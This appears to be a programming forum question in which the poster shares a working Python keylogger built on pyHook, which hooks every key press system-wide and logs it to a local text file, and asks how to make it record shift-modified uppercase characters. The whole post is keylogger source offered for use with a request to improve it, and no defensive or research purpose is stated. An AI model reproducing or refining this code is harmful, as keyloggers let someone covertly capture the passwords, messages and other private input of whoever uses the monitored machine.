The current keylogger I have is:
import pyHook, pythoncom, sys, logging
import string
file_log= 'C:\\Python27\\log.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename= file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10, chr(int(event.Ascii)))
return True
hooks_manager= pyHook.HookManager()
hooks_manager.KeyDown= OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
The problem with this is that it only displays lower case characters and not upper case ones made using the shift key. Is there a way I can make it log uppercase characters too?